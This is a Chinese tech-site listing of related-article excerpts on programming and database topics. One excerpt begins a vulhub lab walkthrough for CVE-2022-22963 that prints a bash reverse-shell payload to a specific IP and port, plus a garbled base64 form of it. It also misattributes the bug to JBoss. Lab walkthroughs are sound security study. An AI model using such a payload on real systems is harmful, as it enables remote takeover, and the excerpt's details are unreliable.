本文分类:news发布日期:2024/12/22 20:41:33
相关文章
漫谈设计模式 [12]:模板方法模式
引导性开场
菜鸟:老大,我最近在做一个项目,遇到了点麻烦。我们有很多相似的操作流程,但每个流程的细节又有些不同。我写了很多重复的代码,感觉很乱。你有啥好办法吗?
老鸟:嗯,听起…
建站知识
2024/12/22 20:40:16
还不懂BIO,NIO,AIO吗
BIO(Blocking I/O)、NIO(Non-blocking I/O)和 AIO(Asynchronous I/O)是 Java 中三种不同的 I/O 模型,主要用于处理输入 / 输出操作。 一、BIO(Blocking I/O) 定义与工作原…
建站知识
2024/12/1 11:10:55
通信工程学习:什么是2ASK/BASK二进制振幅键控
2ASK/BASK:二进制振幅键控 2ASK/BASK二进制振幅键控是一种数字调制技术,其全称是二进制振幅键控(Binary Amplitude Shift Keying)。该技术通过改变载波的振幅来传递二进制数字信息,而载波的频率和相位则保持不变。以下…
建站知识
2024/11/21 13:27:02
Mysql中的锁机制详解
一、概述
锁是计算机协调多个进程或线程并发访问某一资源的机制。 在数据库中,除了传统的计算资源(如CPU、RAM、I/O等)的争用以外,数据也是一种供需要用户共享的资源。如何保证数据并发访问的一致性、有效性是所有数据库必须解决…
建站知识
2024/12/3 2:17:59
vulhub远程执行命令漏洞CVE-2022-22963
1.开启环境 2.访问目标网址,是关于JBoss中间件的漏洞 3.构造反弹shell的payload
将其进行base64编码
bash -i >& /dev/tcp/47.121.191.208/8898 0>&1
YmFzaCAtaSAJiAvZGV2L3RjcC80Ny4xMjEuMTkxLjIwOC84ODk4IDAJjE
4.通过抓包,将payloa…
建站知识
2024/11/21 13:23:27
分布式锁(Redis的setnx、Redisson)
一、使用Redis的setnx实现分布式锁
1、使用Redis的setnx实现分布式锁出现的问题
(1) 宕机时的锁释放问题
在分布式系统中,如果一个节点获取了锁,但在执行任务过程中发生故障,没有释放锁,其他节点可能会一…
建站知识
2024/11/22 8:49:53
Java 中常用内置接口函数
在 Java 8 及以后的版本中,引入了许多函数式编程的特性,其中最重要的就是内置的函数式接口。这些接口使得编写更简洁、可读性更强的代码成为可能。今天我将介绍四个常用的内置接口:Predicate、Function、Consumer 和 Supplier,并提…
建站知识
2024/11/22 10:37:02